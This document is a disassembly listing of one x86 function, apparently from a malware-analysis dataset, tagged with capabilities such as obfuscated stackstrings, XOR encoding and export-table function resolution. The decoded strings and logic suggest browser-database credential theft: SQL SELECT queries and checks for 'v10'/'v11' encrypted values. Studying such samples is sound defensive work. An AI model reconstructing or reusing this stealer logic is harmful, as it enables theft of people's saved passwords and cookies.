Function at 0x411380
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1c4
push ebx
push ebp
push esi
mov esi, edx
mov dword [esp + 0xe8], ecx
xor ebx, ebx
mov dword [esp + 0xe0], esi
mov edx, 0xff
mov dword [esp + 0x10], 0x3f564f08
push edi
mov dword [esp + 0x18], 0x345483a
mov ecx, ebx
mov dword [esp + 0x1c], 0x44574427
mov dword [esp + 0x24], edx
movzx eax, byte [esp + ecx + 0x14]
add ax, 0x1d
and ax, dx
mov word [esp + ecx*2 + 0x130], ax
inc ecx
cmp ecx, 0xc
jl 0x4113bf
xor eax, eax
mov ecx, 0x2a43
mov word [esp + 0x148], ax
mov al, byte [0x42b8b0]
and al, 0x83
mov byte [0x42b8a3], al
movzx eax, al
add ax, cx
mov word [0x42b908], ax
call fcn.00420053
movzx edx, word [0x42b908]
mov ebp, eax
mov eax, 0x30b9
and dx, ax
imul ecx, edx, 0xa4fd
mov byte [0x42b8b0], dl
movzx eax, cx
mov word [0x42b908], cx
test ebp, ebp
jne 0x41144e
lea eax, [edx + 0x6c]
mov ecx, 0xbba0
mov byte [0x42b8a3], al
movzx eax, dl
xor ax, cx
mov word [0x42b908], ax
jmp 0x41235c
or al, 0xae
xor al, 0xb2
mov byte [0x42b8b0], al
lea eax, [esp + 0x130]
push esi
push eax
call fcn.00422def
pop ecx
mov edi, eax
mov eax, 0x1b14
pop ecx
movzx ecx, byte [0x42b8b0]
or cx, ax
mov dword [esp + 0x10c], edi
movzx edx, cx
mov word [0x42b908], cx
add cl, 0x4c
mov byte [0x42b8a3], cl
test edi, edi
je 0x41235c
and dl, 0x1c
mov ecx, 0xa084
mov byte [0x42b8a3], dl
and dl, 0xa
movzx eax, dl
xor ax, cx
mov byte [0x42b8b0], dl
mov ecx, edi
mov word [0x42b908], ax
call fcn.00422f59
movzx edx, word [0x42b908]
mov ecx, 0xc571
imul edx, ecx
mov edi, eax
mov dword [esp + 0x104], edi
movzx ecx, dx
mov word [0x42b908], dx
test edi, edi
je 0x412343
add cl, 0x28
xor edx, edx
mov byte [0x42b8b0], cl
mov ecx, edi
call fcn.00423747
mov cl, byte [0x42b8b0]
mov edx, eax
or cl, 0x50
mov dword [esp + 0x108], edx
mov byte [0x42b8a3], cl
test edx, edx
je 0x4122fd
movzx ecx, cl
mov eax, 0x5776
sub cx, ax
movzx eax, cx
or cl, 0xfa
xor al, 0xd5
mov byte [0x42b8b0], cl
mov byte [0x42b8a3], al
movzx eax, cl
mov ecx, 0x14f1
and ax, cx
push ebx
mov word [0x42b908], ax
lea eax, [esp + 0xe4]
push 1
push eax
push edx
call dword [ebp + 4]
add esp, 0x10
test eax, eax
jne 0x4122c5
mov dword [esp + 0x80], 0x91989187
mov ecx, ebx
mov dword [esp + 0x84], 0xb1f48097
mov dword [esp + 0x88], 0xa6bda4ac
mov dword [esp + 0x8c], 0xbbbda0b5
mov dword [esp + 0x90], 0xbbb98bba
mov dword [esp + 0x94], 0xf8bca0ba
mov dword [esp + 0x98], 0xa4acb1f4
mov dword [esp + 0x9c], 0xa0b5a6bd
mov dword [esp + 0xa0], 0x8bbabbbd
mov dword [esp + 0xa4], 0xa6b5b1ad
mov dword [esp + 0xa8], 0xb5baf4f8
mov dword [esp + 0xac], 0xbb8bb1b9
mov dword [esp + 0xb0], 0xb5b78bba
mov dword [esp + 0xb4], 0xf4f8b0a6
mov dword [esp + 0xb8], 0xb0a6b5b7
mov dword [esp + 0xbc], 0xb9a1ba8b
mov dword [esp + 0xc0], 0x8ba6b1b6
mov dword [esp + 0xc4], 0xa6b7bab1
mov dword [esp + 0xc8], 0xb1a0a4ad
mov dword [esp + 0xcc], 0x8692f4b0
mov dword [esp + 0xd0], 0xb7f4999b
mov dword [esp + 0xd4], 0xbdb0b1a6
mov dword [esp + 0xd8], 0xb5b78ba0
mov word [esp + 0xdc], 0xb0a6
mov byte [esp + 0xde], 0xa7
mov al, byte [esp + ecx + 0x80]
xor al, 0xd4
mov byte [esp + ecx + 0x170], al
inc ecx
cmp ecx, 0x5f
jl 0x41167a
push 0x20
mov byte [esp + 0x1d3], bl
mov eax, ebx
mov dword [esp + 0x30], 0x666d6674
mov dword [esp + 0x34], 0x8f417564
mov dword [esp + 0x38], 0x4d868e82
mov dword [esp + 0x3c], 0x8d829741
mov dword [esp + 0x40], 0x67418696
mov dword [esp + 0x44], 0x416e7073
mov dword [esp + 0x48], 0x90959682
mov dword [esp + 0x4c], 0x8d8d8a87
pop ecx
movups xmm0, xmmword [esp + eax + 0x2c]
psubb xmm0, xmmword [str.________________________________]
movups xmmword [esp + eax + 0x14c], xmm0
add eax, 0x10
cmp eax, ecx
jl 0x4116dc
mov cl, byte [0x42b8b0]
or cl, 9
mov byte [esp + 0x16c], bl
xor cl, 0x76
mov al, cl
movzx ecx, cl
xor al, 0x8e
mov byte [0x42b8a3], al
mov eax, 0x5a62
imul ecx, eax
mov eax, 0x6ce2
push ebx
sub ax, cx
mov word [0x42b908], ax
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x17c]
push eax
push dword [esp + 0xf0]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x411f06
mov dl, byte [0x42b8b0]
lea edi, [esp + 0x14]
push dword [esp + 0x10]
movzx ecx, dl
mov eax, 0x230e
imul ecx, eax
sub dl, 0x30
xor eax, eax
mov byte [0x42b8a3], dl
stosd dword es:[edi], eax
sub dl, 0x50
mov byte [0x42b8b0], dl
mov word [0x42b908], cx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x411bf4
mov dword [esp + 0x70], 0xbbc3c69f
mov dword [esp + 0x74], 0x7791c9bc
mov dword [esp + 0x78], 0x2301484f
mov dword [esp + 0x7c], 0x62782630
mov dword [esp + 0x4c], 0x929a3d2f
mov dword [esp + 0x50], 0x5c87948b
mov byte [esp + 0x54], 0x42
mov ecx, ebx
mov al, byte [esp + ecx + 0x70]
sub al, 0x57
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, 8
jl 0x4117cd
mov byte [esp + 0x120], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x78]
xor al, 0x42
mov byte [esp + ecx + 0x124], al
inc ecx
cmp ecx, 8
jl 0x4117e9
mov byte [esp + 0x12c], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x4c]
sub al, 0x22
mov byte [esp + ecx + 0xf8], al
inc ecx
cmp ecx, 9
jl 0x411805
mov byte [esp + 0x101], bl
mov ecx, ebx
mov word [esp + 0x20], 0x2f
mov dword [esp + 0x58], 0x1515e2e5
mov dword [esp + 0x5c], 0x15151515
mov dword [esp + 0x60], 0x15151515
mov dword [esp + 0x64], 0x15151515
mov word [esp + 0x68], 0xe515
mov byte [esp + 0x6a], 0xe2
mov al, byte [esp + ecx + 0x58]
add al, 0x28
mov byte [esp + ecx + 0x2c], al
inc ecx
cmp ecx, 0x13
jl 0x411854
movzx eax, byte [0x42b8a3]
lea edx, [esp + 0x118]
mov ecx, 0xdf31
mov byte [esp + 0x3f], bl
xor ax, cx
lea ecx, [esp + 0x14]
mov word [0x42b908], ax
and al, 0x4d
mov byte [0x42b8b0], al
or al, 0x80
push 0xffffffffffffffff
mov byte [0x42b8a3], al
call fcn.004236a5
pop ecx
movzx ecx, word [0x42b908]
mov al, cl
or al, 0x19
mov byte [0x42b8a3], al
xor al, 0xe7
mov byte [0x42b8b0], al
imul eax, ecx, 0x1e51
push 2
push dword [esp + 0x14]
mov word [0x42b908], ax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
mov al, byte [0x42b908]
lea edx, [esp + 0x128]
and byte [0x42b8a3], 0xef
add al, 0x13
pop ecx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
mov byte [0x42b8b0], al
call fcn.004236a5
movzx eax, byte [0x42b8b0]
pop ecx
mov ecx, 0x3922
push 3
push dword [esp + 0x14]
or ax, cx
mov word [0x42b908], ax
call dword [ebp + 0x14]
pop ecx
pop ecx
mov cl, byte [0x42b8b0]
mov esi, eax
add cl, 0x18
movzx eax, cl
mov byte [0x42b8a3], cl
mov ecx, 0x410d
or ax, cx
mov word [0x42b908], ax
test esi, esi
je 0x411af1
movzx eax, al
mov ecx, 0x3876
imul eax, eax, 0xb2
push 3
push dword [esp + 0x14]
movzx eax, al
add ax, cx
mov word [0x42b908], ax
sub al, 0x6a
mov byte [0x42b8a3], al
or al, 0x44
mov byte [0x42b8b0], al
call dword [ebp + 0x20]
pop ecx
pop ecx
movzx ecx, byte [0x42b8b0]
mov edi, eax
imul edx, ecx, 0xd0
mov ch, dl
xor ch, 0xb
cmp byte [esi], 0x76
jne 0x411a5d
mov cl, byte [esi + 1]
lea eax, [esi + 2]
cmp cl, 0x31
jne 0x411a5d
cmp byte [eax], 0x30
je 0x4119c0
cmp byte [eax], cl
jne 0x411a5d
movzx eax, dl
mov edx, 0xbf56
imul ecx, eax, 0x2a
and cl, 0x64
movzx eax, cl
or cl, 0x9a
and ax, dx
mov byte [0x42b8a3], cl
mov word [0x42b908], ax
mov edx, edi
lea eax, [esp + 0x6c]
mov ecx, esi
push eax
call fcn.0040face
pop ecx
movzx ecx, byte [0x42b8a3]
mov esi, eax
mov eax, 0xea74
or cx, ax
mov word [0x42b908], cx
test esi, esi
je 0x411af1
push dword [esp + 0x6c]
xor ecx, 0xe206
mov edx, esi
mov al, cl
mov word [0x42b908], cx
and al, 0xc1
mov byte [0x42b8b0], al
movzx eax, cl
lea ecx, [esp + 0x18]
imul eax, eax, 0xbc
mov byte [0x42b8a3], al
call fcn.00423263
mov al, byte [0x42b8b0]
pop ecx
or al, 0x62
push esi
mov byte [0x42b8a3], al
call fcn.004056f0
jmp 0x411af0
sub ch, 0x2e
mov dword [esp + 0x114], esi
movzx eax, ch
mov dl, ch
imul eax, eax, 0x3d
or dl, 0xdc
mov cl, 0x69
mov dword [esp + 0x110], edi
sub dl, 0x36
mov byte [0x42b8b0], dl
sub cl, al
mov eax, 0x1cd6
mov byte [0x42b8a3], cl
movzx ecx, dl
mov edx, 0xbedfd981
imul ecx, eax
lea eax, [esp + 0xf0]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x128]
mov word [0x42b908], cx
push eax
push 3
pop ecx
call fcn.00415084
call eax
test eax, eax
je 0x411af1
mov al, byte [0x42b908]
lea ecx, [esp + 0x14]
push dword [esp + 0xf0]
mov edx, dword [esp + 0xf8]
add al, 0x5d
xor byte [0x42b8a3], 0x4a
mov byte [0x42b8b0], al
call fcn.00423263
pop ecx
add byte [0x42b8b0], 0x46
lea edx, [esp + 0xf8]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.004236a5
movzx eax, byte [0x42b8a3]
imul eax, eax, 0x6b
pop ecx
mov ecx, 0x64a5
push ebx
push dword [esp + 0x14]
mov byte [0x42b8b0], al
movzx eax, al
and ax, cx
mov word [0x42b908], ax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
and byte [0x42b8b0], 0x2e
lea edx, [esp + 0x24]
pop ecx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.004236a5
add byte [0x42b8b0], 0x45
mov eax, 0x5c41
pop ecx
movzx ecx, word [0x42b908]
imul ecx, eax
mov eax, 0x7964
push 1
push dword [esp + 0x14]
add cx, ax
mov word [0x42b908], cx
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
movzx eax, byte [0x42b8a3]
lea edx, [esp + 0x30]
pop ecx
mov ecx, 0xcd23
or ax, cx
lea ecx, [esp + 0x14]
mov word [0x42b908], ax
mov al, byte [0x42b8b0]
add al, 0x71
push 0xffffffffffffffff
mov byte [0x42b8a3], al
call fcn.004236a5
pop ecx
push dword [esp + 0x10]
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
je 0x4117cb
mov esi, dword [esp + 0xe4]
movzx ecx, byte [0x42b8b0]
mov eax, 0x16b0
sub cx, ax
mov word [0x42b908], cx
cmp dword [esp + 0x14], ebx
je 0x411f0d
push 0x53
pop eax
push 0x20
mov dword [esp + 0x30], 0x44455223
mov edx, ebx
mov dword [esp + 0x34], 0x41235449
mov word [esp + 0x38], 0x4452
mov byte [esp + 0x3a], al
mov word [esp + 0x3b], 0x50f
mov byte [esp + 0x3d], 0x4c
mov byte [esp + 0x3e], al
mov word [esp + 0x3f], 0x53f
mov byte [esp + 0x41], 0x4c
mov byte [esp + 0x42], al
mov dword [esp + 0x43], 0x5458540e
pop edi
movzx eax, byte [esp + edx + 0x2c]
add ax, di
and ax, word [esp + 0x24]
mov word [esp + edx*2 + 0x80], ax
inc edx
cmp edx, 0x17
jl 0x411c5f
xor eax, eax
lea edx, [esp + 0x24]
mov word [esp + 0xae], ax
and cl, 0xbc
mov eax, 0x7cfd
mov word [0x42b908], ax
mov al, cl
and cl, 0x95
xor al, 0x62
mov byte [0x42b8b0], cl
mov ecx, esi
mov byte [0x42b8a3], al
call fcn.00413c4d
mov cl, byte [0x42b8a3]
mov esi, eax
add cl, 0xc9
test esi, esi
je 0x411e37
mov cl, byte [0x42b908]
mov edx, 0x3dc
add cl, 0x1c
and cl, 0x85
movzx ecx, cl
imul ecx, ecx, 0xdf
mov byte [0x42b8b0], cl
and cl, 0xe9
movzx eax, cl
and cl, 0xbf
sub ax, dx
mov byte [0x42b8a3], cl
mov edx, dword [esp + 0x24]
mov ecx, esi
mov word [0x42b908], ax
lea eax, [esp + 0xe4]
push eax
call fcn.0040face
pop ecx
mov cl, byte [0x42b8b0]
mov edi, eax
mov ch, cl
add ch, 0x3a
mov byte [0x42b8a3], ch
test edi, edi
je 0x411e21
mov dword [esp + 0x24], 0x472decef
mov edx, ebx
mov word [esp + 0x28], 0x1c5b
mov byte [esp + 0x2a], 2
mov al, byte [esp + edx + 0x24]
add al, 0x1e
mov byte [esp + edx + 0xf0], al
inc edx
cmp edx, 7
jl 0x411d3f
mov byte [esp + 0xf7], bl
mov edx, ebx
mov word [esp + 0x20], 0xd6d9
mov al, byte [esp + edx + 0x20]
add al, 0x34
mov byte [esp + edx + 0x6c], al
inc edx
cmp edx, 2
jl 0x411d62
add cl, 0x2e
mov byte [esp + 0x6e], bl
or cl, 0xac
lea edx, [esp + 0xf0]
movzx eax, cl
imul eax, eax, 0x19
push 0xffffffffffffffff
mov byte [0x42b8b0], al
movzx eax, ch
mov ecx, 0x5ca9
sub ax, cx
lea ecx, [esp + 0x18]
mov word [0x42b908], ax
call fcn.004236a5
and byte [0x42b8b0], 0xf9
mov eax, 0x730a
xor word [0x42b908], ax
mov edx, edi
pop ecx
push dword [esp + 0xe4]
lea ecx, [esp + 0x18]
call fcn.00423263
pop ecx
mov cl, byte [0x42b8a3]
mov edx, 0x50f9
movzx eax, cl
add cl, 0x70
sub ax, dx
mov byte [0x42b8a3], cl
push 0xffffffffffffffff
lea edx, [esp + 0x70]
mov word [0x42b908], ax
lea ecx, [esp + 0x18]
call fcn.004236a5
mov al, byte [0x42b908]
or al, 0xd2
pop ecx
mov byte [0x42b8a3], al
xor al, 0xb6
push edi
mov byte [0x42b8b0], al
call fcn.004056f0
pop ecx
mov cl, byte [0x42b8b0]
and cl, 0xcf
push esi
mov byte [0x42b8b0], cl
call fcn.004056f0
pop ecx
mov cl, byte [0x42b8a3]
mov al, byte [0x42b908]
and cl, 8
push dword [esp + 0x1d8]
and al, 0x6f
mov byte [0x42b8b0], cl
push dword [esp + 0xf0]
mov byte [0x42b8a3], al
lea eax, [esp + 0x88]
push eax
call fcn.00422def
or byte [0x42b8b0], 0x7a
mov esi, eax
add esp, 0xc
test esi, esi
je 0x411ed5
mov dl, byte [0x42b8a3]
mov eax, 0x4566
xor dl, 0x71
add dl, 0x11
movzx ecx, dl
sub cx, ax
movzx eax, dl
mov edx, dword [esp + 0x1c]
imul eax, eax, 0xeb
mov word [0x42b908], cx
mov ecx, dword [esp + 0x14]
push esi
mov byte [0x42b8a3], al
call fcn.0041e192
movzx eax, byte [0x42b8a3]
pop ecx
mov ecx, 0xc5d1
xor ax, cx
mov word [0x42b908], ax
sub al, 0x77
push esi
mov byte [0x42b8b0], al
call fcn.004056f0
pop ecx
movzx eax, byte [0x42b8a3]
mov edx, 0x9f0
push dword [esp + 0x14]
or ax, dx
mov word [0x42b908], ax
movzx eax, byte [0x42b8a3]
imul eax, eax, 0xef
mov byte [0x42b8b0], al
call fcn.004056f0
pop ecx
mov cx, word [0x42b908]
push dword [esp + 0x10]
sub cl, 0x51
mov byte [0x42b8b0], cl
call dword [ebp + 0x18]
mov al, byte [0x42b8b0]
or esi, 0xffffffff
and al, 0x15
pop ecx
mov byte [0x42b8a3], al
and al, 0x1b
mov byte [0x42b8b0], al
lea eax, [esp + 0x10]
push ebx
push eax
push esi
lea eax, [esp + 0x158]
push eax
push dword [esp + 0xf0]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x41228b
movzx eax, byte [0x42b8a3]
lea edi, [esp + 0x14]
imul ecx, eax, 3
movzx eax, byte [0x42b908]
push dword [esp + 0x10]
imul eax, eax, 0x2e
sub cl, 0xa
and cl, 0x30
mov byte [0x42b8b0], cl
mov byte [0x42b8a3], al
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, cl
mov ecx, 0x53ec
xor ax, cx
mov word [0x42b908], ax
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x41214e
mov dword [esp + 0x24], 0x939b8f7c
mov word [esp + 0x28], 0x4e68
mov dword [esp + 0x4c], 0xe0d78b8c
mov dword [esp + 0x50], 0xbbe4f4ed
mov byte [esp + 0x54], 0xa1
mov ecx, ebx
mov al, byte [esp + ecx + 0x24]
sub al, 0x2e
mov byte [esp + ecx + 0xe4], al
inc ecx
cmp ecx, 6
jl 0x411fce
mov byte [esp + 0xea], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x4c]
xor al, 0x81
mov byte [esp + ecx + 0xf8], al
inc ecx
cmp ecx, 9
jl 0x411fea
push 0x20
pop eax
mov byte [esp + 0x101], bl
mov ecx, ebx
mov byte [esp + 0x58], al
mov dword [esp + 0x59], 0x10101027
mov dword [esp + 0x5d], 0x10101010
mov dword [esp + 0x61], 0x10101010
mov dword [esp + 0x65], 0x10101010
mov byte [esp + 0x69], al
mov byte [esp + 0x6a], 0x27
mov al, byte [esp + ecx + 0x58]
xor al, 0x2d
mov byte [esp + ecx + 0x2c], al
inc ecx
cmp ecx, 0x13
jl 0x412036
mov al, byte [0x42b8a3]
lea edx, [esp + 0xe4]
xor al, 0x68
mov byte [esp + 0x3f], bl
mov byte [0x42b8b0], al
mov ecx, 0x1acc
movzx eax, al
add ax, cx
lea ecx, [esp + 0x14]
mov word [0x42b908], ax
movzx eax, al
imul eax, eax, 0xfb
push esi
mov byte [0x42b8a3], al
call fcn.004236a5
mov al, byte [0x42b908]
pop ecx
xor al, 0x73
mov byte [0x42b8b0], al
and al, 0x73
push ebx
push dword [esp + 0x14]
mov byte [0x42b8a3], al
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
movzx eax, byte [0x42b8a3]
lea edx, [esp + 0xfc]
imul eax, eax, 0x31
pop ecx
push esi
lea ecx, [esp + 0x18]
mov byte [0x42b8b0], al
call fcn.004236a5
movzx eax, byte [0x42b908]
imul eax, eax, 0xe8
pop ecx
mov ecx, 0x5a9a
push 1
push dword [esp + 0x14]
mov byte [0x42b8a3], al
movzx eax, al
sub ax, cx
mov word [0x42b908], ax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
mov al, byte [0x42b908]
lea edx, [esp + 0x30]
pop ecx
and al, 0xbd
lea ecx, [esp + 0x14]
push esi
mov byte [0x42b8b0], al
call fcn.004236a5
pop ecx
push dword [esp + 0x10]
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
je 0x411fcc
mov cl, byte [0x42b908]
mov al, cl
and al, 0x4c
cmp dword [esp + 0x14], ebx
je 0x412290
push 0x20
pop eax
push 0x53
mov dword [esp + 0x30], 0x1c2122ee
mov esi, 0xff
mov dword [esp + 0x34], 0x19191613
mov byte [esp + 0x38], al
mov word [esp + 0x39], 0xd2dc
mov byte [esp + 0x3b], 0x19
mov byte [esp + 0x3c], al
mov word [esp + 0x3d], 0xd20c
mov byte [esp + 0x3f], 0x19
mov byte [esp + 0x40], al
mov dword [esp + 0x41], 0x212521db
pop edx
movzx eax, byte [esp + ebx + 0x2c]
add ax, dx
and ax, si
mov word [esp + ebx*2 + 0x80], ax
inc ebx
cmp ebx, 0x15
jl 0x4121a9
push dword [esp + 0x1d8]
xor eax, eax
add cl, 0x4e
push dword [esp + 0xf0]
mov word [esp + 0xb2], ax
mov al, cl
xor al, 0xf1
mov byte [0x42b8a3], al
movzx eax, cl
mov ecx, 0xda0d
or ax, cx
mov word [0x42b908], ax
and al, 0x5e
mov byte [0x42b8b0], al
lea eax, [esp + 0x88]
push eax
call fcn.00422def
mov esi, eax
add esp, 0xc
mov al, byte [0x42b908]
mov cl, al
or cl, 0x83
mov byte [0x42b8a3], cl
test esi, esi
je 0x41226f
mov edx, dword [esp + 0x1c]
mov cl, 0x9c
movzx eax, al
imul eax, eax, 0x7a
push esi
sub cl, al
mov byte [0x42b8b0], cl
mov ecx, dword [esp + 0x18]
call fcn.0041e192
mov al, byte [0x42b8a3]
or al, 0xf7
sub al, 0x49
pop ecx
mov byte [0x42b8a3], al
mov ecx, 0x9b3
movzx eax, al
and ax, cx
push esi
mov word [0x42b908], ax
call fcn.004056f0
pop ecx
mov cl, byte [0x42b8a3]
push dword [esp + 0x14]
mov al, cl
add cl, 0xe4
and al, 0x72
mov byte [0x42b8a3], cl
mov byte [0x42b8b0], al
call fcn.004056f0
pop ecx
mov al, byte [0x42b8a3]
push dword [esp + 0x10]
mov dl, al
movzx ecx, al
mov eax, 0xb78b
and dl, 0x36
imul ecx, eax
mov byte [0x42b8b0], dl
xor dl, 0x1e
mov byte [0x42b8a3], dl
mov word [0x42b908], cx
call dword [ebp + 0x18]
mov edi, dword [esp + 0x108]
pop ecx
mov al, byte [0x42b908]
push dword [esp + 0xe0]
or al, 0x70
mov byte [0x42b8a3], al
call dword [ebp + 0x1c]
or byte [0x42b8b0], 0xe3
add byte [0x42b8a3], 0x78
pop ecx
push dword [esp + 0x108]
call fcn.004056f0
pop ecx
mov cl, byte [0x42b8a3]
movzx eax, cl
mov edx, 0x9c12
add cl, 0x71
or ax, dx
mov byte [0x42b8b0], cl
mov edx, 0x62d87b
xor ecx, ecx
mov word [0x42b908], ax
push edi
inc ecx
call fcn.00415084
call eax
movzx eax, byte [0x42b8b0]
mov ecx, 0x597a
add ax, cx
push edi
mov word [0x42b908], ax
call fcn.004056f0
pop ecx
mov al, byte [0x42b8a3]
push dword [esp + 0x10c]
and al, 0x48
mov byte [0x42b8b0], al
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c4
ret